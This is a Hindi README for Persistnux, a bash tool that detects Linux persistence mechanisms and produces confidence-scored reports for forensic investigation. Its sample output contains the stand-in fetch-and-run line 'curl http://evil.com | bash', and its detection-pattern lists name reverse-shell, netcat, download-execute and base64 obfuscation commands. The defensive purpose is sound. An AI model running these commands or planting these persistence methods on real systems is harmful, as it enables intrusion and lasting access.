
Persistnux — Updated!
बैश-आधारित लिनक्स स्थायित्व पहचान उपकरण जो DFIR जाँच के लिए है। 15+ स्थायित्व तंत्रों (systemd, cron, कर्नेल मॉड्यूल, SSH, कंटेनर) को विश्वास स्कोरिंग के साथ स्कैन करता है और फोरेंसिक विश्लेषण के लिए CSV/JSONL रिपोर्ट उत्पन्न करता है।
Persistnux
Linux पर स्थायित्व (persistence) का पता लगाने वाला एक व्यापक उपकरण, जो डिजिटल फोरेंसिक और घटना प्रतिक्रिया (DFIR) जांच के लिए है।
अवलोकन
Persistnux एक bash-आधारित उपकरण है जो हमलावरों द्वारा समझौता किए गए सिस्टम तक पहुंच बनाए रखने के लिए उपयोग किए जाने वाले ज्ञात Linux स्थायित्व तंत्रों की पहचान करने के लिए डिज़ाइन किया गया है। यह सिस्टम भर में व्यापक जाँच करता है और आगे के विश्लेषण के लिए CSV और JSONL दोनों प्रारूपों में विस्तृत रिपोर्ट तैयार करता है।
विशेषताएँ
- व्यापक पहचान: सभी प्रमुख Linux स्थायित्व तंत्रों को कवर करता है
- लाइव विश्लेषण: न्यूनतम निर्भरता के साथ सीधे लाइव सिस्टम पर चलता है
- विस्तृत आउटपुट: फ़ाइल हैश, मेटाडेटा और विश्वास स्कोर के साथ CSV और JSONL रिपोर्ट तैयार करता है
- रूट और नॉन-रूट: रूट विशेषाधिकारों के साथ या बिना काम करता है (नॉन-रूट के लिए सीमित दायरा)
- DFIR-तैयार: आउटपुट प्रारूप सामान्य DFIR उपकरणों और कार्यप्रवाहों के अनुकूल हैं
- संदेह स्कोरिंग: संकेतकों के आधार पर स्वचालित विश्वास स्कोरिंग (LOW, MEDIUM, HIGH, CRITICAL)
- गलत सकारात्मक में कमी: पैकेज प्रबंधक एकीकरण और ज्ञात-अच्छी सेवा श्वेतसूचीकरण
- समय-आधारित विश्लेषण: हाल ही में संशोधित फ़ाइलों को उच्च विश्वास स्कोर प्राप्त होता है
- पैटर्न मिलान: रिवर्स शेल, डाउनलोड-एक्ज़ीक्यूट पैटर्न, अस्पष्टीकरण तकनीकों का पता लगाता है
पता लगाए गए स्थायित्व तंत्र
1. Systemd सेवाएँ
/etc/systemd/system,/lib/systemd/system,/usr/lib/systemd/systemमें सेवा फ़ाइलें (.service)- उपयोगकर्ता-स्तरीय systemd सेवाएँ
- अक्षम सेवाओं और ExecStart के बिना सेवाओं को फ़िल्टर करता है
- संदिग्ध ExecStart कमांड का पता लगाता है
- निष्पादित बाइनरी/स्क्रिप्ट की पैकेज अखंडता सत्यापित करता है
2. क्रॉन जॉब और अनुसूचित कार्य
- सिस्टम क्रॉनटैब (
/etc/crontab,/etc/cron.d/*) - आवधिक निष्पादन निर्देशिकाएँ (
/etc/cron.{daily,hourly,weekly,monthly}) - सभी उपयोगकर्ताओं के लिए उपयोगकर्ता क्रॉनटैब (रूट मोड)
- एट जॉब (At jobs)
- अनुसूचित कार्यों में संदिग्ध कमांड पैटर्न
/etc/cron.allowऔर/etc/cron.denyACL फ़ाइलें — गैर-मौजूद उपयोगकर्ताओं को संदर्भित करने वाली प्रविष्टियाँ चिह्नित
3. शेल प्रोफ़ाइल और RC फ़ाइलें
- सिस्टम-व्यापी प्रोफ़ाइल (
/etc/profile,/etc/bash.bashrc,/etc/zshrc) - Profile.d स्क्रिप्ट (
/etc/profile.d/*) - उपयोगकर्ता प्रोफ़ाइल (
.bashrc,.bash_profile,.zshrc,.profile, आदि) - फिश शेल कॉन्फ़िगरेशन
- प्रोफ़ाइल फ़ाइलों में दुर्भावनापूर्ण कमांड का पता लगाता है
4. Init स्क्रिप्ट और RC.local
/etc/rc.localऔर वेरिएंट- SysV init स्क्रिप्ट (
/etc/init.d) - रनलेवल स्क्रिप्ट (
/etc/rc*.d) - संदिग्ध डाउनलोड/निष्पादन कमांड का पता लगाता है
5. कर्नेल मॉड्यूल और लाइब्रेरी प्रीलोडिंग
- LD_PRELOAD कॉन्फ़िगरेशन (
/etc/ld.so.preload) — प्रत्येक सूचीबद्ध लाइब्रेरी पैकेज प्रबंधक के माध्यम से सत्यापित - डायनामिक लिंकर कॉन्फ़िगरेशन (
/etc/ld.so.conf,/etc/ld.so.conf.d/) — कॉन्फ़ फ़ाइल अखंडता + गैर-मानक पथ.soफ़ाइलें स्कैन और सत्यापित /etc/environmentLD_PRELOAD/LD_LIBRARY_PATH — env फ़ाइल को HIGH चिह्नित; संदर्भित लाइब्रेरी पथ सत्यापित (अप्रबंधित/संशोधित → CRITICAL)- कर्नेल मॉड्यूल पैरामीटर (
/etc/modprobe.d/,/etc/modprobe.conf) — फ़ाइल अखंडता;installनिर्देशों का संदिग्ध कमांड लक्ष्यों के लिए विश्लेषण; सुरक्षा मॉड्यूल (apparmor, selinux, seccomp) कीblacklistको HIGH चिह्नित - कर्नेल मॉड्यूल ऑटो-लोड कॉन्फ़िगरेशन (
/etc/modules,/etc/modules-load.d/) — कॉन्फ़िग अखंडता; संदर्भित मॉड्यूल नामों कोmodinfoके माध्यम से.koफ़ाइलों में हल किया और सत्यापित - लोड किए गए कर्नेल मॉड्यूल (
lsmod) — गणना और अखंडता सत्यापन
6. अतिरिक्त तंत्र
- XDG ऑटोस्टार्ट प्रविष्टियाँ (
.config/autostart,/etc/xdg/autostart) — रूट होने पर सभी उपयोगकर्ता होम स्कैन किए जाते हैं - सिस्टम एनवायरनमेंट फ़ाइलें (
/etc/environment) — LD_PRELOAD/LD_LIBRARY_PATH लाइब्रेरी पथ सत्यापित - Sudoers कॉन्फ़िगरेशन और ड्रॉप-इन (
/etc/sudoers,/etc/sudoers.d/) — NOPASSWD/ALL पैटर्न → HIGH - PAM (प्लगेबल ऑथेंटिकेशन मॉड्यूल):
- सभी
.soमॉड्यूल पैकेज प्रबंधक के माध्यम से सत्यापित;@includeनिर्देशों का अनुसरण;/etc/pam.confशामिल pam_exec.soस्क्रिप्ट विश्लेषण — लापता/संदिग्ध स्क्रिप्ट → CRITICALpam_python.so/pam_perl.soरिले डिटेक्शन — स्क्रिप्ट निकाली और विश्लेषित/etc/security/मेंpam_script.soहुक फ़ाइल डिटेक्शन- कॉन्फ़िग फ़ाइल अखंडता — संशोधित पैकेज-स्वामित्व वाली PAM कॉन्फ़िग → CRITICAL
pam_env.confऔर~/.pam_environmentLD_PRELOAD लाइब्रेरी सत्यापन/etc/security/सामान्य स्कैन
- सभी
- MOTD स्क्रिप्ट (
/etc/update-motd.d/) — पैकेज सत्यापन; संशोधित → CRITICAL - Git क्रेडेंशियल हेल्पर और core.pager सेटिंग्स — सभी उपयोगकर्ताओं के लिए सामग्री विश्लेषण
- सामान्य वेब निर्देशिकाओं में वेब शेल
8. SSH स्थायित्व
- प्रति-उपयोगकर्ता
~/.ssh/authorized_keys— हाल ही में संशोधित कुंजियाँ चिह्नित;command=विकल्प सामग्री का संदिग्ध पैटर्न के लिए विश्लेषण - प्रति-उपयोगकर्ता
~/.ssh/rc— उपस्थिति को MEDIUM चिह्नित; संदिग्ध/रिवर्स शेल सामग्री → HIGH/CRITICAL
9. बाइनरी अपहरण
- पैकेज डेटाबेस के विरुद्ध स्थापित सिस्टम बाइनरी की सत्यापन (Debian/Ubuntu पर
dpkg -V, RHEL/CentOS परrpm -Va) /usr/bin,/usr/sbin,/bin,/sbinमें संशोधित फ़ाइलें → CRITICAL खोज/lib/securityमें संशोधित PAM मॉड्यूल → CRITICAL खोज- गलत सकारात्मक से बचने के लिए कॉन्फ़ फ़ाइलों (dpkg कॉन्फ़िगरेशन फ़ाइलें) को बाहर रखा गया है
10. बूटलोडर और Initramfs
- GRUB
init=कर्नेल पैरामीटर इंजेक्शन (/etc/default/grub,/etc/default/grub.d/*.cfg) /पर रूट-स्तरीय गिराई गई init स्क्रिप्ट/sysroot/etc/shadowमें लिखने वालेpre-pivotहुक के साथ Dracut initramfs मॉड्यूल/etc/initramfs-tools/scripts/और/hooks/में Ubuntu initramfs-tools हुक स्क्रिप्ट- हाल ही में संशोधित
/boot/initrd.img-*इमेज (mtime-आधारित)
11. Polkit (PolicyKit) हेरफेर
- बिना शर्त
ResultAny/ResultInactive/ResultActive=yesवाली.pklaफ़ाइलें - वाइल्डकार्ड पहचान (
unix-user:*) अनुदान - बिना शर्त
polkit.Result.YESवाली.rulesफ़ाइलें (JavaScript-आधारित Polkit >= 0.106)
12. D-Bus और NetworkManager
- दुर्भावनापूर्ण D-Bus सिस्टम सेवा
Exec=पंजीकरण (/usr/share/dbus-1/system-services/) - D-Bus नीति वाइल्डकार्ड
allow own="*"याsend_destination="*"निर्देश - NetworkManager डिस्पैचर स्क्रिप्ट (
/etc/NetworkManager/dispatcher.d/)
13. Udev नियम
- Udev
RUN+=निर्देश मनमाने कमांड या स्क्रिप्ट निष्पादित करना (/etc/udev/rules.d/,/lib/udev/rules.d/) /run/udev/rules.d/में रनटाइम-इंजेक्टेड नियमRUN+=मेंat/cronप्रतिनिधिमंडल पैटर्न (सामान्य फोरग्राउंड प्रतिबंध बाईपास)
14. कंटेनर एस्केप
- विशेषाधिकार प्राप्त Docker कंटेनर (
--privileged,--pid=host) - कंटेनरों में
docker.sockबाइंड-माउंट (Docker API के माध्यम से पूर्ण होस्ट नियंत्रण) - कंटेनर एंट्रीपॉइंट या Dockerfiles में
nsenter -t 1 - उपयोगकर्ता-लिखने योग्य निर्देशिकाओं में एस्केप तकनीकों वाली Dockerfiles
15. उन्नत बाइनरी और विशेषाधिकार जाँच
- सिस्टम निर्देशिकाओं में सक्रिय SUID/SGID फ़ाइलसिस्टम स्कैन
getcapके माध्यम से फ़ाइल क्षमता स्कैन — GTFOBins परcap_setuid+ep→ CRITICAL- बाइनरी अपहरण: रैपर स्क्रिप्ट के साथ नाम बदले गए मूल (
.original,.old,.bak,.real) /etc/passwdमें UID 0 वाले गैर-रूट खाते/etc/passwdशेल फ़ील्ड में अनुगामी स्थान के माध्यम से शेल मास्किंग- SSH
authorized_keysफ़ाइलों वाले सिस्टम खाते (UID 1-999)
स्थापना
# रिपॉजिटरी क्लोन करें
git clone https://github.com/yourusername/persistnux.git
cd persistnux
# स्क्रिप्ट को निष्पादन योग्य बनाएं
chmod +x persistnux.sh
उपयोग
मूल उपयोग (लाइव विश्लेषण)
# डिफ़ॉल्ट सेटिंग्स के साथ चलाएं (केवल संदिग्ध खोज दिखाता है)
sudo ./persistnux.sh
# सहायता और सभी विकल्प दिखाएं
./persistnux.sh --help
# सामान्य उपयोगकर्ता के रूप में चलाएं (सीमित दायरा)
./persistnux.sh
फ़िल्टरिंग विकल्प (v2.4+)
डिफ़ॉल्ट रूप से, Persistnux शोर कम करने और कार्रवाई योग्य खतरों पर ध्यान केंद्रित करने के लिए केवल संदिग्ध खोज (MEDIUM, HIGH, CRITICAL विश्वास) दिखाता है।
# डिफ़ॉल्ट: केवल संदिग्ध खोज दिखाएं
sudo ./persistnux.sh
# बेसलाइन (LOW विश्वास) सहित सभी खोज दिखाएं
sudo ./persistnux.sh --all
# या
sudo FILTER_MODE=all ./persistnux.sh
# केवल HIGH और CRITICAL विश्वास वाली खोज दिखाएं
sudo MIN_CONFIDENCE=HIGH ./persistnux.sh
# फ़िल्टर संयोजित करें: केवल HIGH विश्वास
sudo ./persistnux.sh --min-confidence HIGH
कस्टम आउटपुट निर्देशिका
# कस्टम आउटपुट निर्देशिका निर्दिष्ट करें
sudo OUTPUT_DIR=/tmp/evidence ./persistnux.sh
# फ़िल्टरिंग के साथ संयोजित करें
sudo OUTPUT_DIR=/tmp/evidence MIN_CONFIDENCE=HIGH ./persistnux.sh
आउटपुट फ़ाइलें
डिफ़ॉल्ट रूप से, Persistnux एक आउटपुट निर्देशिका ./persistnux_output/ बनाता है जिसमें शामिल है:
persistnux_<होस्टनाम>_<टाइमस्टैम्प>.csv- CSV प्रारूप रिपोर्टpersistnux_<होस्टनाम>_<टाइमस्टैम्प>.jsonl- JSONL प्रारूप रिपोर्ट (प्रति पंक्ति एक JSON ऑब्जेक्ट)persistnux_<होस्टनाम>_<टाइमस्टैम्प>_report.txt- खोज गणना और स्कैन मेटाडेटा के साथ मानव-पठनीय सारांश रिपोर्ट
आउटपुट प्रारूप
CSV प्रारूप
timestamp,hostname,category,confidence,file_path,file_hash,file_owner,file_permissions,file_age_days,package_status,command,description,matched_pattern,matched_string
2026-01-23T10:30:00Z,webserver01,Systemd Service,HIGH,/etc/systemd/system/example.service,abc123...,root:root,644,3,unmanaged,example.service,suspicious_script_content,"curl http://evil.com | bash"
JSONL प्रारूप
{
"timestamp": "2026-01-23T10:30:00Z",
"hostname": "webserver01",
"category": "Systemd Service",
"confidence": "HIGH",
"file_path": "/etc/systemd/system/example.service",
"file_hash": "abc123...",
"file_owner": "root:root",
"file_permissions": "644",
"file_age_days": "3",
"package_status": "unmanaged",
"command": "/opt/example.sh",
"description": "example.service",
"matched_pattern": "suspicious_script_content",
"matched_string": "curl http://evil.com | bash"
}
मुख्य आउटपुट फ़ील्ड
- matched_pattern: वह डिटेक्शन पैटर्न जिसने खोज को ट्रिगर किया (जैसे,
suspicious_script_content,modified_package,unmanaged_binary) - matched_string: वास्तविक संदिग्ध सामग्री जो मिली (पूरी लाइन, केवल कीवर्ड नहीं)
विश्वास स्कोरिंग
Persistnux गलत सकारात्मक को कम करने के लिए बुद्धिमान विश्वास स्कोरिंग का उपयोग करता है:
- LOW: मानक सिस्टम कॉन्फ़िगरेशन, कम संदेह (अक्सर पैकेज-प्रबंधित फ़ाइलें)
- MEDIUM: संभावित रूप से संदिग्ध लेकिन वैध हो सकता है
- HIGH: संदिग्ध पैटर्न का पता चला (जैसे, क्रॉन में curl/wget, /tmp निष्पादन, रिवर्स शेल)
- CRITICAL: छेड़छाड़ का निश्चित सबूत — पैकेज अखंडता सत्यापन विफलता, संदिग्ध फ़ाइल पर SUID/SGID, PAM मॉड्यूल विसंगति, एपेमरल स्थान में systemd जनरेटर, या उच्च-एन्ट्रॉपी पेलोड के साथ इनलाइन इंटरप्रेटर कोड
गलत सकारात्मक में कमी (v1.2+)
Persistnux में अब गलत सकारात्मक को कम करने के लिए कई सुविधाएँ शामिल हैं:
- पैकेज प्रबंधक एकीकरण:
dpkg(Debian/Ubuntu) याrpm(RedHat/CentOS) द्वारा प्रबंधित फ़ाइलों को कम विश्वास स्कोर प्राप्त होता है - ज्ञात-अच्छी सेवा श्वेतसूची: सामान्य विक्रेता सेवाएँ (systemd-, dbus-, snap.*, आदि) स्वचालित रूप से छोड़ दी जाती हैं
- समय-आधारित स्कोरिंग: हाल ही में संशोधित फ़ाइलों (<7 दिन) को उच्च विश्वास स्कोर प्राप्त होता है
- संदर्भ-जागरूक विश्लेषण: अधिक सटीक पहचान के लिए कई संकेतकों को जोड़ता है
संदिग्ध संकेतक
Persistnux स्वचालित रूप से उच्च विश्वास वाली वस्तुओं को चिह्नित करता है जब यह पता लगाता है:
नेटवर्क-आधारित पैटर्न
- रिवर्स शेल:
bash -i >& /dev/tcp/,sh -i >& /dev/udp/ - नेटवर्क उपकरण:
nc,netcat,socat,telnet - स्क्रिप्टिंग भाषाओं में सॉकेट संचालन:
python -c 'import socket'
डाउनलोड और निष्पादन पैटर्न
- डाउनलोड उपकरण:
curl | bash,wget | sh - निष्पादन के साथ डाउनलोड:
curl URL -o /tmp/file && chmod +x
अस्पष्टीकरण तकनीकें
- एन्कोडिंग:
base64 -d | bash,eval $(echo BASE64) - डायनामिक निष्पादन:
eval,exec
संदिग्ध स्थान
- अस्थायी निर्देशिकाएँ:
/tmp,/dev/shm,/var/tmp - छिपी हुई निर्देशिकाएँ और फ़ाइलें
अनुमति हेरफेर
- फ़ाइलों को निष्पादन योग्य बनाना:
chmod +x,chmod 777 - SUID बिट हेरफेर:
chmod u+s
आवश्यकताएँ
- Bash 4.0+
- मानक Unix उपयोगिताएँ:
find,grep,stat,sha256sum,awk,file - वैकल्पिक:
systemctl,lsmod,modinfo,getcap,dpkg/rpm(विशिष्ट जाँच के लिए) - कोई इंटरप्रेटर निर्भरता नहीं (शुद्ध bash + coreutils;
python/jqकी आवश्यकता नहीं) - व्यापक विश्लेषण के लिए रूट/सुडो पहुँच अनुशंसित
परीक्षण किया गया / संगतता
| वितरण | स्थिति | नोट्स |
|---|---|---|
| Ubuntu 22.04 LTS | ✅ परीक्षित | प्राथमिक विकास और परीक्षण मंच |
| Ubuntu 20.04 LTS | ✅ परीक्षित | पूरी तरह समर्थित |
| Debian 11/12 | ✅ परीक्षित | dpkg-आधारित, समान पथ परंपराएँ |
| Kali Linux (rolling) | ✅ परीक्षित | PANIX डिटेक्शन बेंचमार्क के लिए उपयोग (नीचे देखें) |
| RedHat / RHEL | ⚠️ अभी परीक्षित नहीं | rpm समर्थन लागू है लेकिन लाइव सिस्टम पर सत्यापित नहीं |
| Fedora | ⚠️ अभी परीक्षित नहीं | rpm समर्थन लागू है लेकिन लाइव सिस्टम पर सत्यापित नहीं |
| CentOS / AlmaLinux / Rocky | ⚠️ अभी परीक्षित नहीं | rpm समर्थन लागू है लेकिन लाइव सिस्टम पर सत्यापित नहीं |
नोट: उपकरण मुख्य रूप से Ubuntu/Debian सिस्टम पर परीक्षित किया गया है। RedHat, Fedora और RPM-आधारित वितरणों में कोड में पैकेज प्रबंधक समर्थन लागू है लेकिन लाइव परीक्षण वातावरण में मान्य नहीं किया गया है। RPM-आधारित वितरणों के लिए योगदान और परीक्षण रिपोर्ट का स्वागत है।
परीक्षण / बेंचमार्क
Persistnux को PANIX के विरुद्ध बेंचमार्क किया गया है,
जो उन्हीं स्थायित्व तंत्रों को स्थापित करता है जिनकी Persistnux खोज करता है। दोहराने योग्य
हार्नेस tests/panix_benchmark.sh प्रत्येक PANIX तकनीक को लागू करता है, Persistnux चलाता है,
और बेसलाइन अंतर के माध्यम से पहचान की पुष्टि करता है। परीक्षण बॉक्स पर लागू होने वाली हर फ़ाइल-आधारित PANIX तकनीक
MEDIUM+ विश्वास पर पहचानी जाती है। पूर्ण कवरेज तालिका और पद्धति के लिए PANIX_BENCHMARK.md देखें।
⚠️ बेंचमार्क वास्तविक बैकडोर स्थापित करता है — इसे केवल डिस्पोजेबल VM में चलाएं।
रोडमैप
- फोरेंसिक डिस्क इमेज के लिए ऑफलाइन विश्लेषण मोड
- UAC (Unix-like Artifacts Collector) संग्रह एकीकरण
- पूर्ण VM पर बूटलोडर/initramfs/LKM वेक्टर के लिए PANIX बेंचमार्क का विस्तार
संसाधन
https://www.elastic.co/security-labs/continuation-on-persistence-mechanisms https://www.elastic.co/security-labs/approaching-the-summit-on-persistence https://www.elastic.co/security-labs/primer-on-persistence-mechanisms https://www.elastic.co/security-labs/sequel-on-persistence-mechanisms https://github.com/Aegrah/PANIX
योगदान
योगदान का स्वागत है! कृपया बेझिझक पुल रिक्वेस्ट सबमिट करें या इसके लिए इश्यू खोलें:
- नए स्थायित्व तंत्र का पता लगाना
- बग फिक्स
- दस्तावेज़ीकरण सुधार
- प्रदर्शन अनुकूलन
- अतिरिक्त आउटपुट प्रारूप
लाइसेंस
MIT लाइसेंस - विवरण के लिए LICENSE फ़ाइल देखें
आभार
DFIR समुदाय के लिए Linux घटना प्रतिक्रिया और फोरेंसिक जांच में सहायता के लिए विकसित किया गया।
अस्वीकरण
यह उपकरण केवल अधिकृत सुरक्षा परीक्षण, घटना प्रतिक्रिया और फोरेंसिक विश्लेषण के लिए है। किसी भी सिस्टम पर इस उपकरण को चलाने से पहले उपयोगकर्ता यह सुनिश्चित करने के लिए जिम्मेदार हैं कि उनके पास उचित प्राधिकरण है।
संपर्क
प्रश्नों, मुद्दों या योगदान के लिए, कृपया GitHub इश्यू ट्रैकर का उपयोग करें।